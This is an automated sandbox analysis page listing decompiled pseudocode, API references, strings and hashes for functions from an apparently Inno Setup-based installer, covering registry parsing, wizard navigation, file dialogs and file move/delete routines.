EnableMenuItem.USER32 ref: 00464327

Strings

CurPageChanged, xrefs: 004644AF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu$EnableItemSystem
String ID: CurPageChanged
API String ID: 3692539535-2490978513
Opcode ID: ffd6a85f3733a3a3d420da159be494d14865ac897c70986fd094c254901061d2
Instruction ID: 46ec497cb3a8356c226a7c5266c94ca15ed80b02e01e615ee1c1d55c4ed561bc
Opcode Fuzzy Hash: ffd6a85f3733a3a3d420da159be494d14865ac897c70986fd094c254901061d2
Instruction Fuzzy Hash: 97A10638704204DFCB15DBA9D999AED73F5AB89304F2541F6F8049B362DB38AE41DB09

Uniqueness

Uniqueness Score: -1.00%

Function 0046FD68 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 210
registryCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0046FD68(char __eax, intOrPtr* __ebx, intOrPtr __edx, char __edi, void* __esi, void* __eflags, void* __fp0, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v29;
				intOrPtr _v36;
				void* _v40;
				char _v44;
				char _t104;
				char _t164;
				char _t165;
				void* _t174;
				intOrPtr _t194;
				void* _t217;
				void* _t218;
				void* _t222;
				void* _t236;
				void* _t240;

				_t240 = __fp0;
				_t215 = __edi;
				_t173 = __ebx;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v44 = 0;
				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00403870(_v8);
				_push(_t222);
				_push(0x470005);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222 + 0xffffffd8;
				E00403900( &_v8, 4, 1);
				_t217 = E0042D728(0x5c, 4, _v8);
				if(_t217 == 0) {
					L24:
					E00451DE8("Failed to parse \"reg\" constant", _t173, _t215, _t217, _t236);
					L25:
					_pop(_t194);
					 *[fs:eax] = _t194;
					_push(E0047000C);
					E00403548( &_v44);
					E00403568( &_v28, 4);
					return E00403548( &_v8);
				}
				E004038C0(_v8, _t217 - 1, 1,  &_v16);
				if(_v16 == 0) {
					goto L24;
				} else {
					_t104 =  *0x48cb10; // 0x1
					_v29 = _t104;
					_t174 = E004036BC(_v16);
					if(_t174 >= 2) {
						if( *((char*)(_v16 + _t174 - 2)) != 0x33 ||  *((char*)(_v16 + _t174 - 1)) != 0x32) {
							_t164 = _v16;
							__eflags =  *((char*)(_t164 + _t174 - 2)) - 0x36;
							if( *((char*)(_t164 + _t174 - 2)) == 0x36) {
								_t165 = _v16;
								__eflags =  *((char*)(_t165 + _t174 - 1)) - 0x34;
								if( *((char*)(_t165 + _t174 - 1)) == 0x34) {
									__eflags =  *0x4ae248;
									if(__eflags == 0) {
										E00451DE8("Cannot access a 64-bit key in a \"reg\" constant on this version of Windows", _t174, _t215, _t217, __eflags);
									}
									_v29 = 2;
									__eflags = _t174 - 2;
									E004039EC( &_v16, _t174 - 2);
								}
							}
						} else {
							_v29 = 1;
							E004039EC( &_v16, _t174 - 2);
						}
					}
					_v36 = 0;
					_t215 = 5;
					_t173 = 0x48cb18;
					while(E00406B20( *_t173, _v16) != 0) {
						_t173 = _t173 + 8;
						_t215 = _t215 - 1;
						__eflags = _t215;
						if(__eflags != 0) {
							continue;
						}
						L15:
						if(_v36 == 0) {
							goto L24;
						}
						_t38 = _t217 + 1; // 0x1
						E004038C0(_v8, 0x7fffffff, _t38,  &_v16);
						_t218 = E0042D728(0x7c, 0x7fffffff, _v16);
						if(_t218 == 0) {
							_t218 = E004036BC(_v16) + 1;
						}
						_t43 = _t218 + 1; // 0x2
						E004038C0(_v16, 0x7fffffff, _t43,  &_v28);
						E004039EC( &_v16, _t218 - 1);
						_t217 = E0042D728(0x2c, 0x7fffffff, _v16);
						if(_t217 == 0) {
							goto L24;
						} else {
							E004038C0(_v16, _t217 - 1, 1,  &_v20);
							_t50 = _t217 + 1; // 0x1
							E004038C0(_v16, 0x7fffffff, _t50,  &_v24);
							E0042D624( &_v20, _t173, _t215, _t217);
							_t236 = 0x2c;
							if(0x2c == 0) {
								goto L24;
							}
							E0042D624( &_v24, _t173, _t215, _t217);
							_t236 = 0x2c;
							if(0x2c == 0 || E0042D624( &_v28, _t173, _t215, _t217) == 0) {
								goto L24;
							} else {
								E00471B18(_v28, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240, _v12);
								E00471B18(_v20, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
								if(E0042DCB4(_v29, E00403880(_v44), _v36,  &_v40, 1, 0) == 0) {
									E00471B18(_v24, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
									E00403880(_v44);
									E0042DBE4();
									RegCloseKey(_v40);
								}
								goto L25;
							}
						}
					}
					_t34 = _t173 + 4; // 0x80000000
					_v36 =  *_t34;
					goto L15;
				}
			}

0x0046fd68
0x0046fd68
0x0046fd68
0x0046fd6e
0x0046fd6f
0x0046fd70
0x0046fd73
0x0046fd76
0x0046fd79
0x0046fd7c
0x0046fd7f
0x0046fd82
0x0046fd85
0x0046fd8b
0x0046fd92
0x0046fd93
0x0046fd98
0x0046fd9b
0x0046fdab
0x0046fdba
0x0046fdbe
0x0046ffd0
0x0046ffd5
0x0046ffda
0x0046ffdc
0x0046ffdf
0x0046ffe2
0x0046ffea
0x0046fff7
0x00470004
0x00470004
0x0046fdd3
0x0046fddc
0x00000000
0x0046fde2
0x0046fde2
0x0046fde7
0x0046fdf2
0x0046fdf7
0x0046fe01
0x0046fe20
0x0046fe23
0x0046fe28
0x0046fe2a
0x0046fe2d
0x0046fe32
0x0046fe34
0x0046fe3b
0x0046fe42
0x0046fe42
0x0046fe47
0x0046fe4d
0x0046fe53
0x0046fe53
0x0046fe32
0x0046fe0d
0x0046fe0d
0x0046fe19
0x0046fe19
0x0046fe01
0x0046fe5a
0x0046fe5d
0x0046fe62
0x0046fe67
0x0046fe7d
0x0046fe80
0x0046fe80
0x0046fe81
0x00000000
0x00000000
0x0046fe83
0x0046fe87
0x00000000
0x00000000
0x0046fe91
0x0046fe9c
0x0046feab
0x0046feaf
0x0046febb
0x0046febb
0x0046fec0
0x0046fecb
0x0046fed6
0x0046fee5
0x0046fee9
0x00000000
0x0046feef
0x0046fefe
0x0046ff07
0x0046ff12
0x0046ff1a
0x0046ff1f
0x0046ff21
0x00000000
0x00000000
0x0046ff2a
0x0046ff2f
0x0046ff31
0x00000000
0x0046ff47
0x0046ff5a
0x0046ff7a
0x0046ff96
0x0046ffab
0x0046ffb3
0x0046ffc0
0x0046ffc9
0x0046ffc9
0x00000000
0x0046ff96
0x0046ff31
0x0046fee9
0x0046fe75
0x0046fe78
0x00000000
0x0046fe78

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047151F,?,00000000,00000000,00000001,00000000,00470005,?,00000000), ref: 0046FFC9

Strings

Failed to parse "reg" constant, xrefs: 0046FFD0
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 0046FE3D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
API String ID: 3535843008-1938159461
Opcode ID: 0a1d62dcc402932a6303958043aebf9e95749352cd083518649c1eb0e2dc5052
Instruction ID: 47136acb6e2bb56904c55ddf5f28219fb2777eb9605b9a5b61fca817b4fe90c1
Opcode Fuzzy Hash: 0a1d62dcc402932a6303958043aebf9e95749352cd083518649c1eb0e2dc5052
Instruction Fuzzy Hash: 69816071E001089FCB10EF95D481ADEBBF9AF48314F10817BE854A7396D739AE09CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00465C08 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00465C08(intOrPtr __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				void* _t30;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t65;
				void* _t70;
				void* _t71;
				intOrPtr _t72;

				_t68 = __esi;
				_t67 = __edi;
				_t60 = __ecx;
				_t59 = __ebx;
				_t70 = _t71;
				_t72 = _t71 + 0xfffffff4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t64 = 0;
				_v16 = 0;
				_v8 = __eax;
				_push(_t70);
				_push(0x465d51);
				_push( *[fs:eax]);
				 *[fs:eax] = _t72;
				L1:
				while(1) {
					do {
						if( *((intOrPtr*)(_v8 + 0x340)) == 0xb) {
							E00460724(0x78,  &_v16);
							_t60 = 3;
							_t64 = 0;
							E00473ECC(_v16, _t59, 3, 0, _t67, _t68, 1, 1, 0);
							E00408C74();
						}
						_v12 =  *((intOrPtr*)(_v8 + 0x340));
						_push(_t70);
						_push(0x465c9c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t72;
						_t30 = E00418218( *((intOrPtr*)(_v8 + 0x1b8)), _t64);
						_t76 = _t30;
						if(_t30 != 0) {
							_t59 = 0xfff5;
							E00402D48( *((intOrPtr*)(_v8 + 0x1b8)), 0xfff5, _t60, _t76);
						}
						_pop(_t64);
						_pop(_t60);
						 *[fs:eax] = _t64;
						if( *((char*)(_v8 + 0x33c)) == 0) {
							goto L7;
						}
						L11:
						__eflags = 0;
						_pop(_t65);
						 *[fs:eax] = _t65;
						_push(E00465D58);
						return E00403548( &_v16);
						L7:
					} while ( *((intOrPtr*)(_v8 + 0x340)) != _v12);
					if( *((char*)( *0x4adf90 + 0x1b6)) > 1) {
						E00455B64("Failed to proceed to next wizard page; showing wizard.", _t59, _t67, _t68);
						E00473650(1);
						_t43 =  *0x48d628; // 0x2162410
						E004242A4(_t43);
						_t45 =  *0x48d628; // 0x2162410
						SetActiveWindow( *(_t45 + 0x20));
						E00422ECC( *0x4adf64);
					} else {
						E00455B64("Failed to proceed to next wizard page; aborting.", _t59, _t67, _t68);
						E00408C74();
						continue;
					}
					goto L11;
				}
			}

0x00465c08
0x00465c08
0x00465c08
0x00465c08
0x00465c09
0x00465c0b
0x00465c0e
0x00465c0f
0x00465c10
0x00465c11
0x00465c13
0x00465c16
0x00465c1b
0x00465c1c
0x00465c21
0x00465c24
0x00000000
0x00465c27
0x00465c27
0x00465c31
0x00465c3e
0x00465c46
0x00465c48
0x00465c4a
0x00465c4f
0x00465c4f
0x00465c5d
0x00465c62
0x00465c63
0x00465c68
0x00465c6b
0x00465c77
0x00465c7c
0x00465c7e
0x00465c89
0x00465c8d
0x00465c8d
0x00465c94
0x00465c96
0x00465c97
0x00465cd2
0x00000000
0x00000000
0x00465d3b
0x00465d3b
0x00465d3d
0x00465d40
0x00465d43
0x00465d50
0x00465cd4
0x00465cdd
0x00465cf2
0x00465d0d
0x00465d14
0x00465d19
0x00465d1e
0x00465d23
0x00465d2c
0x00465d36
0x00465cf4
0x00465cf9
0x00465cfe
0x00000000
0x00465cfe
0x00000000
0x00465cf2

Strings

Failed to proceed to next wizard page; showing wizard., xrefs: 00465D08
Failed to proceed to next wizard page; aborting., xrefs: 00465CF4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: b8cf2fbb86ed8b2886ba9200a479e6093de5ea49a7fadad3ead1447514cfb89c
Instruction ID: c71bcc5f1162af886fc49a198fbb8a16c06835f0575393f154fbba21c83105a6
Opcode Fuzzy Hash: b8cf2fbb86ed8b2886ba9200a479e6093de5ea49a7fadad3ead1447514cfb89c
Instruction Fuzzy Hash: 9731CF30A00B44AFD700EFA5D985E9D77F4EB09714F6184BAF404AB391E738AE00DB1A

Uniqueness

Uniqueness Score: -1.00%

Function 0045BFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0045BFC0(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v7;
				char _v12;
				struct HWND__* _v16;
				intOrPtr _v20;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v84;
				intOrPtr _v92;
				char _v96;
				char _v356;
				char* _t47;
				intOrPtr* _t53;
				intOrPtr _t64;
				void* _t67;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;

				_t71 = _t72;
				_t73 = _t72 + 0xfffffea0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = 0;
				_t67 = __ecx;
				_t53 = __edx;
				_t69 = __eax;
				_push(_t71);
				_push(0x45c118);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73;
				E00407464( &_v356, 0x103,  *__edx);
				E00402A64( &_v96, 0x4c);
				_v96 = 0x4c;
				_v92 = _a4;
				E0045BF70(_a12,  &_v12);
				_v84 = E00403880(_v12);
				_v68 =  &_v356;
				_v64 = 0x104;
				_v52 = E00403880(_t67);
				_v48 = E00403880(_t69);
				_v44 = 0x1804;
				_v36 = _a8;
				_v16 = GetActiveWindow();
				_v20 = E0041EF6C(0, _t53, _t67, _t69);
				_push(_t71);
				_push(0x45c0fb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73;
				asm("fnstcw word [ebp-0x2]");
				_push(_t71);
				_push(0x45c0c7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73;
				_t47 =  &_v96;
				_push(_t47);
				L0042EC34();
				if(_t47 == 0) {
					_v7 = 0;
				} else {
					E004036A4(_t53, 0x104,  &_v356);
					_v7 = 1;
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(0x45c0ce);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x0045bfc1
0x0045bfc3
0x0045bfc9
0x0045bfca
0x0045bfcb
0x0045bfce
0x0045bfd1
0x0045bfd3
0x0045bfd5
0x0045bfd9
0x0045bfda
0x0045bfdf
0x0045bfe2
0x0045bff2
0x0045c001
0x0045c006
0x0045c010
0x0045c019
0x0045c026
0x0045c02f
0x0045c032
0x0045c040
0x0045c04a
0x0045c04d
0x0045c057
0x0045c05f
0x0045c069
0x0045c06e
0x0045c06f
0x0045c074
0x0045c077
0x0045c07a
0x0045c07f
0x0045c080
0x0045c085
0x0045c088
0x0045c08b
0x0045c08e
0x0045c08f
0x0045c096
0x0045c0b0
0x0045c098
0x0045c0a5
0x0045c0aa
0x0045c0aa
0x0045c0b6
0x0045c0b9
0x0045c0bc
0x0045c0c1
0x0045c0c3
0x0045c0c6

APIs

GetActiveWindow.USER32 ref: 0045C05A

Part of subcall function 0041EF6C: GetCurrentThreadId.KERNEL32 ref: 0041EFBB
Part of subcall function 0041EF6C: 740BAC10.USER32(00000000,0041EF1C,00000000,00000000,0041EFD8,?,00000000,0041F00F,?,00000000,00000000,02162410), ref: 0041EFC1

745AB9A0.COMDLG32(0000004C,00000000,0045C0C7,?,00000000,0045C0FB), ref: 0045C08F

Strings

L, xrefs: 0045C006

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ActiveCurrentThreadWindow
String ID: L
API String ID: 1335379141-2909332022
Opcode ID: dde8404dfa06f7440ff49d778366eea8e33d68dac2129b96da576e60149b55c1
Instruction ID: ba71598d2f393434b0e99db4b532341471b8ac22d8944c6b47070d72b39e1203
Opcode Fuzzy Hash: dde8404dfa06f7440ff49d778366eea8e33d68dac2129b96da576e60149b55c1
Instruction Fuzzy Hash: CA310E71900348AFDF11DFA6C8915DEBBB8EB49704F0184AAE904A7681DB785A04CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004474E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E004474E4(intOrPtr* __eax, void* __ebx, char* __ecx, char __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				char _v9;
				char _v20;
				char _v24;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr* _t22;
				intOrPtr _t26;
				char* _t33;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				intOrPtr _t50;

				_t48 = _t49;
				_t50 = _t49 + 0xffffffb0;
				_v80 = 0;
				_v84 = 0;
				_t33 = __ecx;
				_v9 = __edx;
				_v8 = __eax;
				_push(_t48);
				_push(0x44786d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50;
				E00402A64( &_v76, 0x20);
				_v24 = E00403DEC(_t33);
				_push(_t48);
				_push(0x44759c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50;
				if(_v8 == 0) {
					E00408CA0("NIL Interface Exception", 1);
					E00403264();
				}
				_push( &_v20);
				_push(0x800);
				_push(1);
				_push( &_v24);
				_push(0x48c738);
				_t22 = _v8;
				_push(_t22);
				if( *((intOrPtr*)( *_t22 + 0x14))() != 0) {
					E00408CA0("Unknown Method", 1);
					E00403264();
				}
				_pop(_t42);
				 *[fs:eax] = _t42;
				_push(0x4475a3);
				_t26 = _v24;
				_push(_t26);
				L0042CC78();
				return _t26;
			}

0x004474e5
0x004474e7
0x004474ef
0x004474f2
0x004474f5
0x004474f7
0x004474fa
0x004474ff
0x00447500
0x00447505
0x00447508
0x00447515
0x00447521
0x00447526
0x00447527
0x0044752c
0x0044752f
0x00447536
0x00447544
0x00447549
0x00447549
0x00447551
0x00447552
0x00447557
0x0044755c
0x0044755d
0x00447562
0x00447565
0x0044756d
0x0044757b
0x00447580
0x00447580
0x00447587
0x0044758a
0x0044758d
0x00447592
0x00447595
0x00447596
0x0044759b

APIs

Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31

SysFreeString.OLEAUT32(?), ref: 00447596

Strings

NIL Interface Exception, xrefs: 00447538
Unknown Method, xrefs: 0044756F

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: 65763d5aad74e0db49a0dd09087323ef94750999bde3a1973c339012d0364a9c
Instruction ID: 904846feee96eb5d243ebb56e4b0f3edd67b582151c079b437bfe0108e5b6a29
Opcode Fuzzy Hash: 65763d5aad74e0db49a0dd09087323ef94750999bde3a1973c339012d0364a9c
Instruction Fuzzy Hash: 1B11B770A08204AFE710EFA58C81A6EBABCEB09704F91407EF500E7681C7799904C729

Uniqueness

Uniqueness Score: -1.00%

Function 0048936C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E0048936C(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				char _v76;
				void* _v88;
				char _v92;
				void* _t19;
				intOrPtr _t25;
				intOrPtr _t37;
				void* _t43;

				_push(__edi);
				_v8 = 0;
				_t28 = __eax;
				_push(_t43);
				_push(0x48940f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t43 + 0xffffffa8;
				_push(0x489428);
				_push(__eax);
				_push(E00489434);
				_push(__edx);
				E0040377C();
				E00402A64( &_v76, 0x44);
				_v76 = 0x44;
				_push( &_v92);
				_push( &_v76);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t19 = E00403880(_v8);
				_push(_t19);
				_push(0);
				L0040597C();
				_t46 = _t19;
				if(_t19 == 0) {
					_t25 =  *0x48dcf8; // 0x21798a0
					E004892C4(_t25, _t28, 0, __edi, __edx, _t46);
				}
				CloseHandle(_v88);
				_pop(_t37);
				 *[fs:eax] = _t37;
				_push(E00489416);
				return E00403548( &_v8);
			}

0x00489374
0x00489377
0x0048937c
0x00489380
0x00489381
0x00489386
0x00489389
0x0048938c
0x00489391
0x00489392
0x00489397
0x004893a0
0x004893af
0x004893b4
0x004893be
0x004893c2
0x004893c3
0x004893c5
0x004893c7
0x004893c9
0x004893cb
0x004893cd
0x004893d2
0x004893d7
0x004893d8
0x004893da
0x004893df
0x004893e1
0x004893e3
0x004893e8
0x004893e8
0x004893f1
0x004893fb
0x004893fe
0x00489401
0x0048940e

APIs

6CBC7180.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00489434,?,00489428,00000000,0048940F), ref: 004893DA
CloseHandle.KERNEL32(00489C00,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00489434,?,00489428,00000000), ref: 004893F1

Part of subcall function 004892C4: GetLastError.KERNEL32(00000000,0048935C,?,?,?,?), ref: 004892E8

Strings

D, xrefs: 004893B4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: C7180CloseErrorHandleLast
String ID: D
API String ID: 841381810-2746444292
Opcode ID: e79b9ecf8d0fbe05fd8aac1f9beae76a65c4d50c8133bd11e1f1fc5bf30d756a
Instruction ID: 8a602a59bd543ca9148e4aba1d84fa657435f2b2be7756fef3cd3a4e41c96cac
Opcode Fuzzy Hash: e79b9ecf8d0fbe05fd8aac1f9beae76a65c4d50c8133bd11e1f1fc5bf30d756a
Instruction Fuzzy Hash: 42015EB1604608AFDB04EBA5CC42EAE77ACDF08714F55447AF904E72C1D6789E018A68

Uniqueness

Uniqueness Score: -1.00%

Function 0042DBFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042DBFC(void* __eax, char* __edx) {
				int _v16;
				char _v20;
				long _t11;
				signed int _t12;
				signed int _t13;
				void* _t17;
				char* _t18;
				int _t19;

				_t18 = __edx;
				_t17 = __eax;
				_t13 = _t12 & 0xffffff00 | RegQueryValueExA(__eax, __edx, 0, 0, 0, 0) == 0x00000000;
				if(_t13 != 0 && (_t18 == 0 ||  *_t18 == 0) &&  *0x48c0e0 != 2) {
					_t13 = 0;
					_t19 = 0;
					while(1) {
						_v16 = 2;
						_t11 = RegEnumValueA(_t17, _t19,  &_v20,  &_v16, 0, 0, 0, 0);
						if(_t11 != 0 && _t11 != 0xea) {
							goto L11;
						}
						if(_t11 != 0 || _v20 != 0) {
							_t19 = _t19 + 1;
							continue;
						} else {
							_t13 = 1;
						}
						goto L11;
					}
				}
				L11:
				return _t13;
			}

0x0042dc02
0x0042dc04
0x0042dc17
0x0042dc1c
0x0042dc30
0x0042dc32
0x0042dc34
0x0042dc34
0x0042dc50
0x0042dc57
0x00000000
0x00000000
0x0042dc62
0x0042dc6e
0x00000000
0x0042dc6a
0x0042dc6a
0x0042dc6a
0x00000000
0x0042dc62
0x0042dc34
0x0042dc71
0x0042dc78

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DC10
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DC50

Strings

Inno Setup: No Icons, xrefs: 0042DC0E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: c530550c5b400f27d3b354827e66c455718bdea8dfe3a8ec58b02f593ba09778
Instruction ID: a380a1bc47b6b2e444766c5ac2e74b614384efc47358369cee9a4f1bd1172e85
Opcode Fuzzy Hash: c530550c5b400f27d3b354827e66c455718bdea8dfe3a8ec58b02f593ba09778
Instruction Fuzzy Hash: 6701F7B1F4532069F73085126C45B7B568C8B82B64F64013BF940A63C0D6D89C04E2AE

Uniqueness

Uniqueness Score: -1.00%

Function 0046D068 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0046D068(void* __edi, intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t2;
				void* _t10;
				void* _t12;
				void* _t18;

				_t18 = __edi;
				_t20 = _a4 + 0xfffffff8;
				if( *(_a4 + 0xfffffff8) == 0) {
					return _t2;
				} else {
					while(E00406FE4( *0x4ae048) == 0) {
						E0046CF18(0x41, 0x4ae048, "DeleteFile", _t18, _t20, __eflags);
						__eflags = 0x41;
						if(0x41 == 0) {
							E00408C74();
						}
					}
					while(1) {
						_push(E00403880( *0x4ae048));
						_t10 = E00403880( *_t20);
						_push(_t10);
						L00405B74();
						if(_t10 != 0) {
							break;
						}
						_t12 = E0046CF18(0x40, 0x4ae048, "MoveFile", _t18, _t20, __eflags);
						__eflags = _t12;
						if(_t12 == 0) {
							E00408C74();
						}
					}
					return E00403548(_t20);
				}
			}

0x0046d068
0x0046d075
0x0046d07b
0x0046d0d9
0x0046d07d
0x0046d094
0x0046d086
0x0046d08b
0x0046d08d
0x0046d08f
0x0046d08f
0x0046d08d
0x0046d0b6
0x0046d0bd
0x0046d0c0
0x0046d0c5
0x0046d0c6
0x0046d0cd
0x00000000
0x00000000
0x0046d0a8
0x0046d0ad
0x0046d0af
0x0046d0b1
0x0046d0b1
0x0046d0af
0x00000000
0x0046d0d1

APIs

Part of subcall function 00406FE4: 6C8D5F60.KERNEL32(00000000,0048D628,0048B356,00000000,0048B3AB,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406FEF
